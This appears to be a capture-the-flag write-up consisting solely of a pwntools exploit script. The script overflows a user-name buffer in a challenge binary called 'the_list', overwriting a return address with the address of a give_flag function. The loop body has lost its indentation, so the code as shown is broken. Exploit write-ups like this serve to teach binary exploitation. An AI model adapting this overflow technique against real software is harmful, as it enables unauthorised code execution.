Tags: stackoverflow pwn 

Rating:

```
from pwn import *

#context(arch='amd64',log_level='debug')
p = process('./the_list')
give_flag_addr = 0x0401369
p.sendlineafter('Enter your name: ', 'A')

for i in range(16):
p.sendlineafter('> ', '2')
p.sendlineafter("Enter the user's name: ", 'A')

payload = "A" * 0x08 + p64(give_flag_addr)
p.sendlineafter('> ', '4')
p.sendlineafter('What is the number for the user whose name you want to change? ', '19')
p.sendlineafter("What is the new user's name? ", payload)

p.sendlineafter('> ', '5')
p.interactive()
```